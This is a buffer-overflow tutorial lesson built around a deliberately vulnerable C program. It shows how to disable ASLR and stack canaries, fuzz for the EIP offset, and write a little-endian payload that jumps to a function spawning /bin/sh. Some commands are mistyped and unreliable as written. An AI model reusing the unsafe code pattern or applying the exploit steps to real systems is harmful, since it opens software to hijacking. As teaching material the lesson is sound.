My First overflow.
That's enough theory, lets get on and break something. This example is a simple buffer overflow where we are going to redirect the program flow to change the way the program behaves.
The code for this task is below And in the Github, Lets see what it does:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int BUFFER=500;
void win(void){
/*Win Condition
We Want to jump here
*/
printf("\n ===== Win ===== \n\n");
system("/bin/sh"); //Tradition to get a shell
}
void lose(void){
/* Lose Condition */
printf("Current Memory Address is %p\n",lose);
printf("Aim for %p\n", win);
printf("Lose :(\n");
}
int main(int argc, char* argv[]){
/* Main Function*/
//Pointer to the lose function
void (*fp)(void) = lose;
char buffer[BUFFER];
if (argc != 2){
printf("Overflow the buffer\n");
printf("Hint! Try `python -c \"print 'A'*100\"`\n");
return -1;
}
memcpy(buffer, argv[1], strlen(argv[1]));
printf("Off to %p\n",fp);
fp();
return 0;
}
There are two functions, one each for a Win and Lose condition. We also have the Main function that:
- Stores a pointer to the lose function as a variable
- Allocates a buffer of 500 Bytes.
- Copy's user input into this buffer
- Calls the pointer stored in the variable.
Compiling the Code and Turning off the protection mechanisms
We are also going to do this in "Easy Mode" by turning off the various protection mechanisms, and compiling the code in 32 Bit mode (this is not essential, but quirks in 64 bit addressing make it harder, lets keep already complex thing simple and deal with 64 bits later)
We First want to turn off ASLR. On your Kali VM you can do this by changing the value in proc. Note that you will need to be root.
$sudo su
[sudo] password for dang:
[root@dang-laptop Code]# echo 0 > /proc/sys/kernel/randomize_va_space
[root@dang-laptop Code]# exit
exit
We also compile the code in 32bit mode, with stack canaries turned off.
(If it gives you an error about 32bit libraries not being available you can install them with apt install gcc-multilib
)
gcc -fno-stack-protector -m32 -g -z execstack MyFirstOverflow.c -o FirstOverflow
Running the Code and thinking through our POC
When we run the code, we get a prompt asking for Input. Specifying an argument takes us to the Lose condition.
Note
If you run the code a couple of times and the memory addresses change, you need to check ASLR is turned off.
$./FirstOverflow
Overflow the buffer
Hint! Try `python -c "print 'A'*100"`
$./FirstOverflow A
Off to 0x56556209
Current Memory Address is 0x56556209
Aim for 0x565561cd
Lose :(
The program gives us all the information we need to break it, without resorting to a debugger.
- We see the address of the code we are going to execute
0x56556209
- We have the address of the code we want to aim for
0x565561cd
Now all we need to do is come up with a way to change the address we want to jump to. We can do this by overflowing the buffer until we overwrite the stored address. Then replacing it with our new target.
Our Before we overflow the stack will look something like this
And we will overflow the buffer to do something like this
Step 1: Overflowing the Buffer.
We know from the source we need over 500 Bytes of data for the
overflow. We could sit and press "A" 500 times, or we could
cheat. Python allows one liners to be executed in-line using the
-c
flag. For example
$python2 -c "print 'A'*25"
AAAAAAAAAAAAAAAAAAAAAAAAA
Note
We are using python 2 here. Python 3 strings are bytestrings, and therfore cause confusion in our payload.
To get this to run as an argument to the function we need to tell the shell to evaluate the python command before passing it as an argument (Otherwise we full the buffer with the string "python2 -c "print 'A'*25"").
We can use Backticks `
or the $(command)
synatax to execute
something in the shell.
Important
Backticks are not the single quote. On a UK keyboard they are at the top left, next to the 1 key. If you are trying to overflow, and you dont get anything, check you are using the correct syntax.
Lets pick a big number like 600 that should break the program:
#Using Backticks
$./FirstOverflow $(python2 -c "print 'A'*600"`)
Off to 0x41414141
[2] 6946 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*600"`
#Using the Dollar Syntax
$./FirstOverflow $(python2 -c "print 'A'*600")
Off to 0x41414141
[2] 6865 segmentation fault (core dumped) ./FirstOverflow $(python2 -c "print 'A'*600")
Getting Control of the Instruction Pointer.
So we get an error message printed, then the program falls over with a segfault. This shows something is happening with the overflow. Our next stage is to get hold of the Instruction pointer so we can modify the code behaviour.
Usually, this would mean a detour into a debugger to examine the register values. However, whoever wrote this code did a great job, and added a bit of magic that prints the instruction pointer before things fall over.
To get find the offset we need to Control EIP we use a process called "Fuzzing the Buffer", Modifying the input values until we start to get data we control in IP. I like to use a binary search approach, as it means I can zero in on the values needed quickly.
#600 Is to much data
$./FirstOverflow $(python2 -c "print 'A'*600")
Off to 0x41414141
[2] 7162 segmentation fault (core dumped)
#500 Isn't enough
$./FirstOverflow $(python2 -c "print 'A'*500")
Off to 0x56556209
Current Memory Address is 0x56556209
Aim for 0x565561cd
Lose :(
#Try a value halfway between 500 and 600, which to too high
$./FirstOverflow $(python2 -c "print 'A'*550")
Off to 0x41414141
[2] 7317 segmentation fault (core dumped)
#Halfway between 500 and 550...
$./FirstOverflow $(python2 -c "print 'A'*525")
Off to 0x56556241
[2] 7396 illegal hardware instruction (core dumped)
At 525 Bytes of input, something interesting happens. We don't get a Segfault, but instead an Illegal Instruction. We can also see that the last value of the address we are heading to is 41 (ASCII for "A"). This shows us we are getting close to controlling EIP, increasing the number of 'A's gives us two 41's in the register.
$./FirstOverflow $(python2 -c "print 'A'*526")
Off to 0x56554141
[2] 7478 segmentation fault (core dumped)
So we can infer that the offset to control EIP is 524 Characters, with the next 4 being the value stored in EIP.
Tip
I like to double check this by submitting the offset, then four 'B's. If EIP then contains 42424242, I know I control it, I could use any character, but B seems like the answer to life, the universe and everything ;)
$./FirstOverflow $(python2 -c "print 'A'*524+'BBBB'")
Off to 0x42424242
[2] 7577 segmentation fault (core dumped)
So I get 4 B's in the value for EIP. They don't appear anywhere else in my input which means I control the Instruction pointer (and therefore the next address the program will execute)
Changing Program Flow.
Now we need to change the address the program will execute when it
calls the function. Running the program without an overflow gives us
the Address we need to aim for 0x565561cd
$./FirstOverflow `python2 -c $(print 'A'*500+'BBBB'")
Off to 0x56556209
Current Memory Address is 0x56556209
Aim for 0x565561cd
Lose :(
We now encounter our last problem. Another holy war in coding revolves around how we store (or the endianness) memory addresses.
The x86 architecture uses a "little endian" approach, where the byte order of the address is reversed. We can see this is we use the input 'BCDE' as the value we overflow EIP with.
$./FirstOverflow `python2 -c "print 'A'*524+'BCDE'"`
Off to 0x45444342
Notice that the address we will visit is 0x45 (E) 0x44 (D) 0x43 (C) 0x42 (B). So we need to fix the endianness of the address we want to jump to when we add it to the overflow.
The process I take is to break the address into bytes, then reverse the
order of those pairs. So 0x565561cd
Becomes
0x56
,0x55
,0x61
,0xCD
Reversed that is 0xCD 0x61 0x55 0x56
. Lets enter this into our
python code to overflow the buffer, in python we can use \x
to
represent a hex pair.
$./FirstOverflow $(python2 -c "print 'A'*524+'\xcd\x61\x55\x56'")
Off to 0x565561cd
===== Win =====
sh-5.0$
So we get the win condition, and drop a shell.
Summary
In this article we have completed our first buffer overflow, using a flawed in the code to redirect program flow. There have been quite a few concepts covered here, but we have our basic buffer overflow exploit procedure.
- Overflow the buffer so the code breaks
- Fuzz the buffer to find the offset we need to Control EIP
- Calculate the target address
- Use this, and the offset to modify the codes behaviour.
In the next article we look at the differences between 32 and 64 bit overflows, and break our code on a more common architecture.
Task
Work through the example, and try to get a shell.
When it comes to the task, you may want to modify the size of the buffer you are working with. This should help you practice finding the offset for EIP.
Its also possible to break the code without using a 4 byte address, (ie we don't need to enter the whole target address), can you think of why this is, discuss in the forums.